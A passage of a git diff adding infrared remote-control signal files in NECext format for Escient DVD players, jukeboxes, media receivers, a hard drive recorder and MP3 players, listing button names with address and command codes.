03 16 00 00 +command: 24 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 25 00 00 00 +# +name: MOVIES +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 26 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 2B 00 00 00 +# +name: PLAY_FAVORITES +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 2E 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 2F 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 30 00 00 00 +# +name: MACRO +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 31 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 33 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 41 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 42 00 00 00 +# +name: PLAYMODE-NORMAL +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 43 00 00 00 +# +name: PLAYMODE-RPT_TRACK +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 44 00 00 00 +# +name: PLAYMODE-RPT_TITLE +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 45 00 00 00 +# +name: PLAYMODE-RPT_GROUP +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 46 00 00 00 +# +name: PLAYMODE-RAND_TITLE +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 47 00 00 00 +# +name: PLAYMODE-RAND_GROUP +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 48 00 00 00 +# +name: VIEW_BY_ARTIST +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 49 00 00 00 +# +name: VIEW_BY_TITLE +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 4A 00 00 00 +# +name: VIEW_BY_SONG +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 4B 00 00 00 +# +name: VIEW_BY_COVER +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 4C 00 00 00 +# +name: PLAYER +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 4D 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 03 16 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/4,22.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/4,22.ir new file mode 100644 index 000000000..568610e85 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/4,22.ir @@ -0,0 +1,320 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 02 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 04 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 06 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 08 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 0A 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 0C 00 00 00 +# +name: CH/PAGE_UP +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 0D 00 00 00 +# +name: CH/PAGE_+ +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 0D 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 0F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 10 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 11 00 00 00 +# +name: SETUP/SLEEP +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 12 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 12 00 00 00 +# +name: OPTION/INPUT +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 13 00 00 00 +# +name: OPTIONS +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 13 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 14 00 00 00 +# +name: GUIDE_TOGGLE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 14 00 00 00 +# +name: ARROW_DOWN +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 17 00 00 00 +# +name: ARROW_LEFT +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 18 00 00 00 +# +name: ARROW_RIGHT +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 19 00 00 00 +# +name: ARROW_SELECT +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 1A 00 00 00 +# +name: MENU/VIEW +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 1C 00 00 00 +# +name: REW +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 20 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 21 00 00 00 +# +name: FF +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 22 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 23 00 00 00 +# +name: MOVIES +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 26 00 00 00 +# +name: SUBTITLE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 27 00 00 00 +# +name: IRADIO +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 2A 00 00 00 +# +name: DISC_+ +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 2B 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 2C 00 00 00 +# +name: ADD +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 2D 00 00 00 +# +name: ADD_TO_FAVORITES +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 2D 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 2F 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 30 00 00 00 +# +name: PREV +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 32 00 00 00 +# +name: REPEAT +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 33 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 41 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 42 00 00 00 +# +name: PLAYMODE-NORMAL +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 43 00 00 00 +# +name: PLAYMODE-RPT_TRACK +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 44 00 00 00 +# +name: PLAYMODE-RPT_TITLE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 45 00 00 00 +# +name: PLAYMODE-RPT_GROUP +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 46 00 00 00 +# +name: PLAYMODE-RAND_TITLE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 47 00 00 00 +# +name: PLAYMODE-RAND_GROUP +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 48 00 00 00 +# +name: VIEW_BY_ARTIST +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 49 00 00 00 +# +name: VIEW_BY_TITLE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 4A 00 00 00 +# +name: VIEW_BY_SONG +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 4B 00 00 00 +# +name: VIEW_BY_COVER +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 4C 00 00 00 +# +name: PLAYER +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 4D 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 04 16 00 00 +command: 4E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/8,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/8,-1.ir new file mode 100644 index 000000000..37b574814 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/DVD Player/8,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: INFO +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 01 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 02 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 03 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 04 00 00 00 +# +name: TRACK< +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 05 00 00 00 +# +name: TRACK> +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 06 00 00 00 +# +name: PREV_DISC +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 07 00 00 00 +# +name: NEXT_DISC +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 08 00 00 00 +# +name: FULL_SCREEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 09 00 00 00 +# +name: COVERS_SCREEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0A 00 00 00 +# +name: PLAY_SCREEN +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 0B 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 3C 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 54 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 5F 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 61 00 00 00 +# +name: DOWN' +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 62 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 63 00 00 00 +# +name: MOUSE_CLICK +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 7F 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 81 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 82 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 83 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 84 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 85 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 86 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 87 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 88 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 89 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 8A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: BC 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: D4 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: DF 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: E1 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: E2 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: E3 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 08 00 00 00 +command: FF 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir new file mode 100644 index 000000000..6dc3c50d9 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/Digital Jukebox/15,0.ir @@ -0,0 +1,332 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 09 00 00 00 +# +name: CH/PAGE_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0D 00 00 00 +# +name: PAGE_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0D 00 00 00 +# +name: CH/PAGE_DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0E 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 10 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 11 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 12 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 13 00 00 00 +# +name: OPTIONS +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 13 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 14 00 00 00 +# +name: . +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 15 00 00 00 +# +name: OPEN_GLOBE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 15 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 16 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 16 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 17 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 18 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 19 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1B 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1C 00 00 00 +# +name: MENU/VIEW +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1C 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 20 00 00 00 +# +name: SKIP_<< +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 20 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 21 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 22 00 00 00 +# +name: SKIP_>> +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 22 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 23 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 24 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 25 00 00 00 +# +name: MOVIES +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 26 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 28 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 29 00 00 00 +# +name: I._RADIO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2B 00 00 00 +# +name: FAVORITES_MUSIC +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: ADD_FAVORITES +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: FAVORITES_ADD +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: FAVORITES_PLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: PLAY_FAVORITES +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: FAVORITES_RANDOM +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: AE 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: AE 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir new file mode 100644 index 000000000..f37005cfa --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/Digital Media Receiver/1,22.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: 1_./_?' +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 01 00 00 00 +# +name: .?_?'_1 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 01 00 00 00 +# +name: 2_ABC +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 02 00 00 00 +# +name: 3_DEF +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 03 00 00 00 +# +name: 4_GHI +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 04 00 00 00 +# +name: 5_JKL +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 05 00 00 00 +# +name: 6_MNO +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 06 00 00 00 +# +name: 7_PQRS +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 07 00 00 00 +# +name: 8_TUV +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 08 00 00 00 +# +name: 9_WXYZ +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 09 00 00 00 +# +name: CH_PAGE_UP +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 0D 00 00 00 +# +name: CH-/PG- +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 0E 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 10 00 00 00 +# +name: LAST_/_MODE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 11 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 14 00 00 00 +# +name: GLOBE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 15 00 00 00 +# +name: EXIT +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 15 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 16 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 17 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 18 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 19 00 00 00 +# +name: CURSOR_OK +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 1A 00 00 00 +# +name: INFO_/_ALL +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 1B 00 00 00 +# +name: MENU_/_VIEW +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 1C 00 00 00 +# +name: REW_/BACKSPACE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 20 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 21 00 00 00 +# +name: >>_SPACE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 22 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 23 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 24 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 25 00 00 00 +# +name: MOVIES +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 26 00 00 00 +# +name: I_RADIO +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2A 00 00 00 +# +name: IRADIO +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2A 00 00 00 +# +name: JUKEBOX_NEXT +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2B 00 00 00 +# +name: MUSIC +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2C 00 00 00 +# +name: PLAY_FAVOR +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2E 00 00 00 +# +name: RAMDOM +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 2F 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 30 00 00 00 +# +name: JUKEBOX_MACRO +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 31 00 00 00 +# +name: JUKEBOX_PREVIOUS +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 32 00 00 00 +# +name: JUKEBOX_REPEAT +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 33 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir new file mode 100644 index 000000000..5711a0cbb --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/Digital Media Receiver/15,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: VOL- +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: VOL+ +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir new file mode 100644 index 000000000..afd273c47 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/Hard Drive Recorder/15,0.ir @@ -0,0 +1,266 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 01 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 09 00 00 00 +# +name: CH/PAGE_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0D 00 00 00 +# +name: CH/PAGE_DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 0F 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 10 00 00 00 +# +name: MODE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 11 00 00 00 +# +name: SETUP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 12 00 00 00 +# +name: INPUT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 13 00 00 00 +# +name: OPTIONS +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 13 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 14 00 00 00 +# +name: . +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 15 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 16 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 16 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 17 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 18 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 19 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1A 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1B 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 1C 00 00 00 +# +name: SCAN_<< +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 20 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 21 00 00 00 +# +name: SCAN_>> +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 22 00 00 00 +# +name: RECORD +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 23 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 24 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 25 00 00 00 +# +name: MOVIES +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 26 00 00 00 +# +name: TITLE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 27 00 00 00 +# +name: ANGLE +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 28 00 00 00 +# +name: RESUME +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 29 00 00 00 +# +name: I._RADIO +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2A 00 00 00 +# +name: NEXT +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2B 00 00 00 +# +name: FAVORITES_MUSIC +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2C 00 00 00 +# +name: FAVORITES_ADD +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2D 00 00 00 +# +name: FAVORITES_PLAY +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2E 00 00 00 +# +name: FAVORITES_RANDOM +type: parsed +protocol: NECext +address: 0F 00 00 00 +command: 2F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir new file mode 100644 index 000000000..cdcae6f28 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/0,-1.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: CURSER_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: CURSER_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 35 00 00 00 +# +name: CURSER_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: CURSER_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/1,22.ir b/assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/1,22.ir new file mode 100644 index 000000000..26b075632 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Escient/MP3 Player/1,22.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 00 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 09 00 00 00 +# +name: PAGE_DOWN +type: parsed +protocol: NECext +address: 01 16 00 00 +command: 0E 00 00 00 +# +name: POWER +type: 